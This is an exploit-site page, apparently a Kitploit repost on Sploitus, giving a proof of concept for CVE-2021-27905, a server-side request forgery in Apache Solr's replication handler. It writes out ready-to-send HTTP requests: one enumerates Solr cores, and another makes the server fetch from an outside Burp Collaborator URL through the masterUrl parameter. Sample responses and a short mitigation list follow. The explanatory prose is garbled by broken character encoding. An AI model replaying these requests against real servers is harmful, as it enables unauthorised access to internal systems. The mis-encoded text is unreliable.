Sploitus

Exploit for CVE-2021-27905

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN136 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MURATAYDEMIR-CVE-2021-27905
**[CVE-2021-27905] Apache Solr ReplicationHandler рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЙрд░реНрдЬрд░реА (SSRF)**

* * *

Hit Counter ![Platform Badge](https://img.shields.io/badge/Platform-Apache%20Solr-critical?logo=apachesolr&style=plastic)

Apache Solr (Searching On Lucene with Replication рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд░реВрдк) рдПрдХ рдореБрдлреНрдд, рдУрдкрди-рд╕реЛрд░реНрд╕ рд╕рд░реНрдЪ рдЗрдВрдЬрди рд╣реИ рдЬреЛ Apache Lucene рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред рдпрд╣ Java рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИред Apache Solr рдореЗрдВ RESTful XML/HTTP рдФрд░ JSON API рд╣реИрдВ рдФрд░ рдХрдИ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдЬреИрд╕реЗ Java, Phyton, Ruby, C#, PHP рдФрд░ рдЕрдиреНрдп рдХреЗ рд▓рд┐рдП рдХреНрд▓рд╛рдЗрдВрдЯ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╣реИрдВ, рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ, рдбреЗрдЯрд╛рдмреЗрд╕, рдлрд╝рд╛рдЗрд▓реЛрдВ рдЖрджрд┐ рдХреЗ рд▓рд┐рдП рд╕рд░реНрдЪ-рдЖрдзрд╛рд░рд┐рдд рдФрд░ рдмрд┐рдЧ рдбреЗрдЯрд╛ рдПрдирд╛рд▓рд┐рдЯрд┐рдХреНрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рдиреЗ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

Apache Solr рдХреЗ `8.8.2 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рднреА рд╕рдВрд╕реНрдХрд░рдг (7.0.0 рд╕реЗ 7.7.3 рдФрд░ 8.0.0 рд╕реЗ 8.8.1)` рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рдлреЙрд░реНрдЬрд░реА (SSRF) рдХрдордЬреЛрд░реА рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВред рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд╕рдлрд▓ рд╢реЛрд╖рдг рдХрд░рдиреЗ рд╕реЗ рд╕рдВрдЧрдарди рдХреЗ рднреАрддрд░ рдЕрдирдзрд┐рдХреГрдд рдХрд╛рд░реНрдпреЛрдВ рдпрд╛ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдпрд╛ рддреЛ рдХрдордЬреЛрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╣реА рдпрд╛ рдЕрдиреНрдп рдмреИрдХрдПрдВрдб рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЬрд┐рдирд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред

ReplicationHandler (рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдПрдХ Solr рдХреЛрд░ рдХреЗ рдЕрдВрддрд░реНрдЧрдд `/replication` рдкрд░ рдкрдВрдЬреАрдХреГрдд) рдореЗрдВ рдПрдХ `masterUrl` (рд╕рд╛рде рд╣реА `leaderUrl` рдЙрдкрдирд╛рдо) рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рдЕрдиреНрдп Solr рдХреЛрд░ рдкрд░ рджреВрд╕рд░реЗ ReplicationHandler рдХреЛ рдирд╛рдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрдВрдбреЗрдХреНрд╕ рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдерд╛рдиреАрдп рдХреЛрд░ рдореЗрдВ рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред SSRF рдХрдордЬреЛрд░реА рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, Solr рдХреЛ рдЗрди рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ рдХреЛ рдЙрд╕реА рд╕рдорд╛рди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд╡рд┐рд░реБрджреНрдз рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд╣ `shards` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЛ рдареАрдХ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЙрд╕рдиреЗ рдРрд╕рд╛ рдирд╣реАрдВ рдХрд┐рдпрд╛ред

**рдкреНрд░рдорд╛рдг рдХреА рдЕрд╡рдзрд╛рд░рдгрд╛ (PoC):** рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рдХреЛ Apache Solr рдкрд░ рдХреЛрд░ рдХрд╛ рдирд╛рдо рдЬрд╛рдирдирд╛ рд╣реЛрдЧрд╛ред рдЗрд╕реАрд▓рд┐рдП рдХреЛрд░ рдирд╛рдо/рдирд╛рдореЛрдВ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

root@kitploit:~
    
    
    GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
    Host: vulnerablehost:8983
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

root@kitploit:~
    
    
    HTTP/1.1 200 OK
    Content-Type: application/json; charset=UTF-8
    Connection: close
    
    {
        "responseHeader":
        {
            "status": 0,
            "QTime": 0
        },
        "initFailures":
        {},
        "status":
        {
            "beliana_dev":
            {
                "name": "beliana_dev",
                "instanceDir": "/var/solr/data/beliana_dev",
                "dataDir": "/var/solr/data/beliana_dev/data/",
                "config": "solrconfig.xml",
                "schema": "schema.xml",
                "startTime": "2021-04-20T13:49:06.569Z",
                "uptime": 293226747
            },
            "beliana_prod":
            {
                "name": "beliana_prod",
                "instanceDir": "/var/solr/data/beliana_prod",
                "dataDir": "/var/solr/data/beliana_prod/data/",
                "config": "solrconfig.xml",
                "schema": "schema.xml",
                "startTime": "2021-02-02T06:07:19.668Z",
                "uptime": 6973733649
            },
            "beliana_stage":
            {
                "name": "beliana_stage",
                "instanceDir": "/var/solr/data/beliana_stage",
                "dataDir": "/var/solr/data/beliana_stage/data/",
                "config": "solrconfig.xml",
                "schema": "schema.xml",
                "startTime": "2021-02-02T06:07:19.668Z",
                "uptime": 6973733649
            }
        }
    }
    

![1](https://assets.kitploit.com/production/public/readmes/29660/f2f4dbc2ed0953904113a82fbcb66385c73542b25122c6f92757cb524e9a7566.png)

рдХреЛрд░ рдирд╛рдо рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдмрд╕ рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ рдЗрд╕ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ: `/solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}`

root@kitploit:~
    
    
    GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
    Host: vulnerablehost:8983
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

root@kitploit:~
    
    
    HTTP/1.1 200 OK
    Cache-Control: no-cache, no-store
    Pragma: no-cache
    Expires: Sat, 01 Jan 2000 01:00:00 GMT
    Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
    ETag: "1790105893b"
    Content-Type: application/xml; charset=UTF-8
    Connection: close
    
    <?xml version="1.0" encoding="UTF-8"?>
    <response>
        <lst name="responseHeader">
            <int name="status">0</int>
            <int name="QTime">75</int>
        </lst>
        <str name="status">OK</str>
    </response>
    

![2](https://assets.kitploit.com/production/public/readmes/29660/87fcf98b8a488e1f3d3f404e06df5b65501cc0c1a26e9f0cf30325ea9209ce68.png)

![3](https://assets.kitploit.com/production/public/readmes/29660/b8f4620393fe6fab4f717f003293553ca702438a80533717f9dd4e40611228b5.png)

**рд╢рдорди:** рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:

  * Solr `8.8.2` рдпрд╛ рдЙрд╕рд╕реЗ рдКрдкрд░ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрдкрдЧреНрд░реЗрдб рдХрд░реЗрдВред
  * рдпрджрд┐ рдЕрдкрдЧреНрд░реЗрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ https://issues.apache.org/jira/browse/SOLR-15217 рдореЗрдВ рдкреИрдЪ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред
  * рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рд░реЗрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИрдВрдбрд▓рд░ рддрдХ рдХреЛрдИ рднреА рдкрд╣реБрдВрдЪ рдкреВрд░реА рддрд░рд╣ рд╕реЗ Solr рдХреЗ рдЖрдВрддрд░рд┐рдХ рд╣реА рд╣реЛред рдЖрдорддреМрд░ рдкрд░, рдЗрд╕ рддрдХ рдмрд╛рд╣рд░реА рдкрд╣реБрдВрдЪ рдХреЗрд╡рд▓ рдиреИрджрд╛рдирд┐рдХ/рд╕реВрдЪрдирд╛рддреНрдордХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реЛрддреА рд╣реИред



**рд╕рдВрджрд░реНрдн:**

  * https://github.com/apache/solr-site/blob/eb060a0d2cf1d31de403665407fff7a0255578ec/content/solr/security/2021-04-12-cve-2021-27905.md
  * https://github.com/apache/solr/pull/47/files/c12bbae4da0719435cf5e19623f6dad83f0c8c65#diff-838f63a8d7b764661b66c758c19cfe6f3d6454b328a1b5f52f75480530b0cfe7
  * https://vulners.com/cve/CVE-2021-27905
  * https://www.anquanke.com/post/id/238201